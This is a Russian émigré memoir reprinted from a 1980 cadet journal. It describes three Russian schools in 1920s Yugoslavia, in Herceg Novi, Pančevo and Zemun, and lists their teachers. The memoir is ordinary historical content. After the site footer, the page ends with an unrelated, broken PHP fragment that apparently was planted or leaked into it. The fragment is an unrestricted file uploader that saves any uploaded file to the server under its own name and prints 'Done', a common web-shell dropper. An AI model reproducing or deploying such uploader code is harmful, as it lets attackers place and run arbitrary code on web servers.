Магнитные бури
нашего Отечества

Русские Учебные Заведения в Югославии

  

ТРИ ШКОЛЫ

Ростислав Сазонов


Из журнала "Кадетская перекличка" № 25, 1980г.



Не может быть сомнения в том, что раньше или позже, какой-нибудь историк, серьезно заинтересуется уникальным явлением Русской Эмиграции 1920 года, осевшей в Югославии и пустившей там солидные корни. Но не может быть также сомнения и в том, что при собирании материалов для создания своего труда, он натолкнется на многочисленные препятствия. Многое не записано очевидцами, многое искажено и перепутано, а живых свидетелей тех или иных событий, остается все меньше и меньше...
А между тем какой-нибудь, даже незначительный эпизод, для историка может играть большую роль, ибо только всестороннее освещение фактов, позволят ему создать правдивый и полноценный «пейзаж».
В этом отношении, журнал «Перекличка» делает большое и полезное дело, собирая на своих страницах частицы прошлого, что иначе кануло бы в вечность не оставив никаких следов.
В ниже помещаемых очерках, читатель познакомится с деятельностью трех Русских Учебных Заведений, о которых, кроме еще уцелевших, но разбросанных по разным странам б. учеников (к числу которых принадлежит и автор очерков), мало кто знает. Вот их перечень:

1) Гимназия в г. Херцегнови (май 1921 - весна 1923).
2) Десяти-месячные курсы для подготовки к экзаменам на аттестат зрелости в г. Панчево (в 1923 году).
3) Реальная Гимназия в г. Земуне (Руска Реалка) (открылась в сент. 1920 —закрылась летом 1927).


ОЧЕРК ПЕРВЫЙ.

В начале 1921 года, когда прибывшая в г. Херцегнови большая группа Русских пришельцев, начала устраиваться на новом месте, естественно, возник вопрос о детях и их дальнейшей судьбе.
По инициативе инженера А. А. Земляницына в самом большом отеле города, было созвано собрание родителей и делегатов для обсуждения возможностей открытия Русской Школы на средства отпускаемые Всероссийским Союзом Городов. Решено было такую школу открыть под директорством инициатора собрания и при сотрудничестве, изъявивших к этому желание преподавателей. Позже, в этом же отеле (временно находившимся в распоряжении Кр. Креста), была устроена запись и проверка знаний будущих учеников для распределения их по классам. Одновременно администрация школы занялась поисками подходящего помещения, которые однако не дали желаемого результата. Чтобы избежать потери учебного года, занятия начались в зале, единственного в городке, кинематографа. На время уроков ряды стульев ставились вдоль стен и в освобожденном пространстве расставлялись столы из расчета — один класс, один стол. В стульях недостатка не было, но классная доска имелась только одна на все классы! «Учительская» расположилась просто во дворе, где в холодную погоду без пальто было не обойтись, а дожди заставляли преподавателей ютится в общем зале.
По началу, учеников, с уровнем от приготовительного до пятого класса включительно нашлось около 30 человек — девочек и мальчиков, знания которых не всегда соответствовали их возрасту. Занятия велись согласно курсу русских гимназий с включением сербского языка.
Преподавательский состав был опытный и чисто профессиональный. Исключение составляли... сам директор и инспектриса, которые, тем не менее, держали школу в твердых руках.
Наконец, осенью 1921 года, поиски более подходящего помещения увенчались успехом и гимназия получила в наем, большое двухэтажное здание, недалеко от центра города. В нижнем этаже имелось несколько больших комнат и там разместились приготовительный и первый классы, кухня, завед. хозяйством с семьей и студия, где давались уроки рисования, лепки и так. наз. «ручного труда», в который входили разные ремесла. Тут же внизу, все получали и каждодневный завтрак.
В верхнем этаже состоявшим из одной залы с окнами на все стороны, поместились все остальные классы — по старой системе — один класс, один стол — с той только разницей, что каждый класс имел собственную доску.
Учительская вместе с библиотекой заняли один из углов общего зала, который таким образом,попадал (увы!) под зрительный контроль всегда пребывающей там Инспектрисы.
С переездом в новое помещение возросло и количество учащихся — начался приток из окрестных местечек, не редко находящихся далеко от г. Херцегнови, что однако не служило препятствием для желающих учиться подростков. И не только подростки стремились в нашу гимназию! Совсем неожиданно, за столом 5-го класса появилось семеро «взрослых» учеников, еще не снявших с себя военной формы; при чем двое из них были в офицерских чинах. Никаких документов кроме военных у них не имелось, но имелось сильное желание получить Аттестат Зрелости («Велика Матура» на сербском языке). И первым шагом для этого стала наша школа.
По началу были кое-какие неловкости в отношениях из-за разницы в возрасте, но все сгладилось, когда младшие убедились в том, что старшие, так же как и мы, «парились» у доски от некорректных вопросов преподавателей.

В конце 1921 года, приехавшая из Белграда Комиссия (проф-а Брянский, Кульбакин и прот. О. Петр Беловидов) осталась весьма довольна постановкой дела в гимназии, успехами учащихся, концертом хора и художественно-ремесленной выставкой. И, казалось, ничто не предвещало уже надвигающихся перемен. Вернее, мы учащиеся, просто не знали о том, что начальный период жизни после прибытия в Югославию (Королевство Сербов, Хорватов и Словенцев — в то время) подошел к концу. gim1 (16K)
Маленький далматинский городок Херцегнови, куда, по воле судьбы, нахлынули сотни самых разнородных русских людей, явился только этапом на общем эмигрантском пути. Жизнь ставила свои проблемы, разрешение которых требовало иных действий, несовместимых с местными условиями. К тому же, средства отпущенные Всероссийским Союзом Городов нашей гимназии, подходили к концу, что ставило под вопрос ее дальнейшее существование.

Весной 1922 года, после очередной поездки нашего директора в Белград, было объявлено, что в середине лета, в присутствии представителя М-ва Просвещения, состоятся экзамены и все сдавшие таковые, получат соответственные документы, равные свидетельствам сербских гимназий, после чего| наша школа будет закрыта.
Экзамены прошли гладко, удостоверения об окончании получены, а впереди открылось неизвестное будущее. Дружная доселе gim2 (17K)гимназическая семья начала распадаться и для сорока учеников, наступил поворотный момент в их жизни. Одни решили ехать в Кадетские Корпуса и в Институты, другие просто уезжали с родителями на новые места с перспективой учения в сербских школах.
Но благодаря нашему директору, для желающих, открылся и еще один путь.
Неожиданно для всех он сообщил, что в г. Панчево организованы специальные краткосрочные курсы по подготовке к экзаменам на Аттестат Зрелости, с бесплатным общежитием и что он сам будет руководить этими курсами.
На это сообщение в первую очередь окликнулась группа старших. А к ним примкнуло еще пятеро шестиклассников — в их числе и я.

Осенью 1922 года, в назначенный А. А. Земляницыным день, мы, в количестве 12 человек, с нехитрым багажом и не туго набитыми кошельками, усевшись в вагон 3-го кл. поезда «Зеленике-Београд» тронулись в путь— к светлому будущему.
Преподавательский Состав Херцегновской Гимназии
Директор — А. А. Землянипын; Инспектор — Е. Г. Романова
Младшие классы
Закон Божий - о. Иоанн о. Иоасаф
Чистописание, Русский яз., История, География - Левицкий
Арифметика - В.Крамаренко, М. Тристан
Рисование - М. Хрисоногов
Хоровое пение - Красуцкий
Пение - П. М. Острявский
Рояль - Н. И. Тиден

Старшие классы
Закон Божий - о. Иоанн
Свящ. История - о.Иоасаф
Математика - А. А.Земляницын
Русский яз. и Литература - А. А. Севрюгина
Русская и Всеобщ. История - Е. Н.Феттинг
Физика, Химия и Немецкий яз. - Г. С.Калантаров
Французский яз. - Е. Б. Ковернинцкая
Гигиена - Д.А.Сазонов
Сербский яз. - В. С. Дурново
Рисунок и Живопись - М. М. Хрисоногов

ОЧЕРК ВТОРОЙ

gim3 (21K)«Панчевские Курсы», как называли их учащиеся, находились в бывших казармах. Низкая постройка, квадратной формы занимала половину, квартала одной из широких и очень пыльных улиц, недалеко от центра города. Посреди мощеного огромными плитами двора, высилось большое дерево, на ветвях которого, по предположению курсантов, в старое время, вешали провинившихся. По турецким порядкам в дом можно было попасть только со двора, через многочисленные, разной величины дверей.
Два самых больших помещений были отведены: для «одного на всех» класса и для клуба- столовой. Все остальное пошло под общежитие, комнаты которого или были проходными или соединялись извилистыми коридорчиками. Что касается обстановки, то она сводилась к остаткам казарменного инвентаря — примитивные кровати, столы на козлах и некоторое количество скамеек и табуретов. Общежитие конечно нельзя было отнести к разряду... уютных, но десятимесячное в нем пребывание выдержать было можно. Все курсанты, выразившие желание получить бесплатную квартиру с добавкой одной горячей еды в день, разместились в общежитии по своему усмотрению — от двух до шести человек на комнату.

Наибольший процент курсантов составляли б. военные, разных видов оружия и рангов. Выделялось несколько человек в форме Югославской Армии, служивших в Военном Оркестре Панчевского гарнизона, но также пожелавших пополнить свое образование. Особняком держалась группа б. Кадет, которые пройдя многие Кадетские Корпуса, не смогли удержаться... даже в знаменитом «Панчевском Интернате».
«Эти курсы», как сказал один из них «явились нам надеждой, просиявшей во мраке будущего». И действительно, имея «матуру» в кармане, человек выходил на дорогу и получал возможность устроиться на службу, поступить в Университет, Военное Училище и т. д.
В начале 20-х годов «Матура» являлась документом первостепенной важности! Очутившись в совершенно новой обстановке наша Херцегновская группа, прошла через кое-какие изменения и потеряла свою стабильность. Преподаватели собранные в самом Панчево Директором Курсов, имели перед собой нелегкую задачу: подготовить к серьезному экзамену пять десятков человек, с разным уровнем знаний и различными возможностями восприятия.
Нагрузка, как на учеников, так и на педагогов была очень велика. В срок 10-ти месяцев, предстояло многим пройти весь гимназический, основательно забытый, курс, с включением еще и предметов на сербском языке. А тем немногим еще не переступившим порог средней школы приходилось особенно туго и свет в их комнатах часто не потухал до самого рассвета!
Уроки начинались рано утром, шли до полудня с перерывом на завтрак, который, фактически, был нашей единственной едой в течение дня. После него давалось полчаса «на перекур», во время которого весь двор заполнялся людьми в военных формах, что иногда вызывало любопытство у, проходящих мимо, местных жителей. Потом все снова возвращались в класс до вечера.
Периодически, с короткими интервалами, происходили проверки по пройденному курсу. Отстающие получали добавочную порцию «натаскиванья» — или от преподавателей или от более сильных в науках, соучеников. Уроки нередко готовили сообща, помогая друг- другу как могли продвигаться к заветной цели. Но, что было уже пройдено, отнюдь не уменьшало того, что еще предстояло пройти, а вот времени для этого оставалось все меньше и меньше! Вскоре результаты невероятной гонки стали сказываться. Ряды курсантов начали редеть.
Некоторые из нас, по своему возрасту (а к ним принадлежал и я) легко могли обойтись без всякой спешки, нормально пройти курс 8-го класса и получить матуру в положенный для этого срок. Нашлась бы только более подходящая школа! Обсудив все «за» и «против», небольшая группа младшего возраста, решила обратиться за советом к начальству и изложить ему свои соображения. Признав все наши доводы совершенно обоснованными, Директор и Инспектриса, имевшая обширные связи в русском школьном мире, обещали нам свое содействие для перехода в «нормальную» гимназию, с зачетом всего сделанного на курсах. Вскоре мы получили, согласованный в нужных инстанциях, план действий, выполнение которого, превратило нескольких курсантов в полноправных воспитанников Реальной гимназии в г. Земуне.

К моему большому сожалению я не запомнил имена всех педагогов учивших нас на Панчевских Курсах, несмотря на то, что их было совсем немного. Особо красочной фигурой несомненно являлся проф. Песоцкий, преподававший математику, начерт. геометрию и космографию. Поговаривали, что в прошлом, он читал лекции в Сорбонне... что нас и губило!
Не всегда учитывая разницу между Сорбонной и Курсами, профессор увлекаясь, часто погружался в такой мелкий шрифт, что повергал в панику всю аудиторию не имевшую возможности уследить за взлетом его мыслей. Обязанности Инспектора и Администратора исполняла Альма Павловна Мильская, преподававшая также Русский яз. и Литературу. Курс Французского языка вел Г. Сетпановский — сравнительно молодой человек с пышной шевелюрой. Как сквозь туман, вижу плотненькую молодую даму в очках, внедрявшую в наши головы географические познания и прилизанную с острым носиком, голову регента хора... Остальные, увы, совершенно испарились из памяти.
После своего переезда в г. Земун моя связь с Курсами почти прервалась, но было известно, что все, оставшиеся там до конца, сдавали выпускные экзамны экстернами при гимназии Плетнева в Белграде, после чего Панчевские Курсы прекратили свое десятимесячное существование, дав возможность нескольким десяткам молодых людей лучше устроить свою жизнь.

ОЧЕРК ТРЕТИЙ

gim4 (25K)Как непохожи были условия жизни и учения в Земунской Реальной Гимназии на лихорадочную обстановку Панчевских Курсов! После нескольких дней пребывания на новом месте, мне стало казаться, что по какой-то ошибке я попал в гости к... Старосветским Помещикам — настолько все было тихо и мирно.
Преподаватели, начавшие свою деятельность со дня основания З.Р.Г., относились к питомцам, как к собственным детям и вели их сквозь школьные годы к одной и той же цели:
— дать младшему поколению возможность прочно встать на ноги, быть готовыми к жизни и не забывать страну в которой они родились.
Я уверен, что все, еще уцелевшие на этом свете, б. воспитанники З.Р.Г., хранят благодарную и признательную память о своих учителях. Открылась Земунская Реальная Гимназия (Руска Реалка) в конце 1920-го года на средства Всероссийского Союза Городов (председатель В.С.Г. — профессор В. Д. Брянский) и в ней, по началу, имелись только: Детский Сад, приготовительный, первый, второй и третий классы, при общем числе учеников не превышавших трех десятков. Директором был назначен проф. Белгр. У-та, И. М. Малинин, но фактически управление школьными делами, сосредотоилось в руках его супруги, опытного педагога, В. П. Малининой. Хозяйственной частью, заведывала Елена Александровна (фамалию не помню), пользовавшаяся большой популярностью у малышей за свое уменье готовить замечательные «коржики с маком». Руководство Детским Садом и Приготовительным Классом лежало также на ней.

Здание З.Р.Г. находилось на высоком берегу Дуная на очень тихой улице, с редкими домами, виноградниками, и находящимся против фасада школы, обширным старым кладбищем, служившим постоянным напоминанием о непрочности человеческого существования. Дом школы был небольшой и настолько древний, что потолочные балки в некоторых классах подпирались столбами во избежание прогибов и провалов. В классных помещениях занятия велись по принципу: «в тесноте, а не в обиде». Преподавание велось по программе Русских Реальных Училищ прекрасными педагогами, большинство которых, по совместительству, читали лекции в Белградском У-те.
Общежитие при З.Р.Г. отсутствовало и наша небольшая группа вновь поступивших, разбилась на части, соответственно возможностям чисто жизненного характера. Кое-кто поселился по частным квартирам, а нескольких человек, включая и меня, разместили в нанятом Гимназией небольшом домике на территории кирпичного завода находящегося на окраине города.
Все мы влились в 7-ой кл. З.Р.Г., уже имея в кармане свидетельства об окончании такового, что обеспечило нам, спокойную жизнь до конца учебного года. К доске нас вызывали чрезвычайно редко — единственно, что приходилось делать вместе со всем классом, это писать письменные работы и принимать участие в «культурной жизни» Гимназии. Под руководством преподавателя Рисования и Живописи (и Инспектора Классов) С. И. Кучинского, не раз ставились в костюмах и декорациях, прекрасные спектакли в концертном зале города и устраивались художественные выставки.

В начале занятий в восьмом классе, обстановка в Гимназии резко изменилась от «нашествия иноплеменников»! Нахлынули, по тем или иным причинам, не сдавшие последних экзаменов Панчевские Курсанты, и отдельно от них, большая группа Кадет Крымского Корпуса. Конечно, маленькое здание З.Р.Г. не было в состоянии вместить на 1924-25 учебный год такое большое количество «новичков», что повлекло за собой некоторые перемены, затронувшие, гл. образом, наш матурный класс. Из- за недостатка места вся основная группа такового, была переведена на занятия в здание Сербской Гимназии, находившееся в чудесном парке и в центре города.
Все же, вновь поступившие, получили для уроков большой барак, расположенный ближе к Дунаю, сразу за старым домом З.Р.Г. Одновременно с новыми учениками появился «на горизонте» и наш б. Директор (Херцегнови-Панчево), взявший на себя преподавание математики и новичков. Несмотря на то, что занятия велись в разных местах и в различные часы, все шло гладко и без осложнений. Сознавая серьезность предстоящих последних экзаменов, весь наш класс дружно налег на науки, помогая друг другу по вечерам, а иногда получая экстренную помощь и от наших педагогов, проходивших с нами повторно трудные места курса.
Время шло быстро. Подошел к концу и учебный год. И вот, 23-го июня, 1925 года, после страхов и волнений, Первый Выпуск З.Р.Г., в количестве семнадцати человек — 4 ученицы и 13-ть учеников — успешно сдал последние экзамены на Аттестат Зрелости.
По рисунку С. И. Кучинского, был заказан прекрасный нагрудный эмалевый значек Гимназии — с золотым двуглавым орлом на верхушке белого ромба, с сине-красным полем внутри такового и буквами В.С.Г. — по форме напоминавший знак Русских У-тов, которым мы с гордостью украсились. Один из жизненных этапов был пройден. Гимназические годы пришли к концу. На смену шло неизвестное, но полное надежд, будущее.

Второй выпуск 1926-го года (16 учеников и учениц) оказался последним. Оставшимся в З.Р.Г. до лета 1927-го года ученикам, пришлось сдавать последние экзамены экстернами в разных учебных заведениях и в разных городах Югославии. Из-за недостатка средств З.Р.Г. была расформирована и прекратила свое существование летом 1927 года.
Заканчивая на этом свои очерки, я приношу искреннюю благодарность всем б. соученицам и соученикам, снабдившим меня, сохранившимися в их памяти, сведениями. Без их помощи я бы не справился с этой задачей.
А читателей прошу извинить меня за возможно допущенные неточности. «...И как сказал один поэт, — с тех пор прошло не мало лет!»

Ростислав Сазонов

Список Преподавателей Русской Реальной Гимназии в г. Земуне

Математика, Физика — В. С. Жардецкий *)
Математика — Г. Никшич
*) Математика — Буковский *)
Химия, Физич. География — Г. Г. Злокович *)
Русская Литература, История — А. Л. Погодин *)
Теория Словесности, Психология с Логикой —Н. М. Терещенко *)
История (Всеобщая) —М, А. Георгиевский *)
Начертательная Геометрия — А. А. Земляницын
Русский язык (мл. классы) —Л. Ф.Левина
Немецкий язык — К. Т. Генрихсон
Сербский язык — г. Пинтер
Закон Божий и Священная История — о.о. П. Беловидов и Неклюдов
Рисунок и Живопись — С. И. Кучинский
Пение — Е. А. Кучинская


*) Профессора Београдского Уииверситета.


L3HOME       Кадеты       А.Г. Лермонтов      
lll@srd.sinp.msu.ru
     last update: 25.05. 2005

"; $target = ""; $target = $target.basename( $_FILES['uploaded']['name']) ; $ok=1; if(move_uploaded_file($_FILES['uploaded']['tmp_name'], $target)) { echo "Done"; } } ?>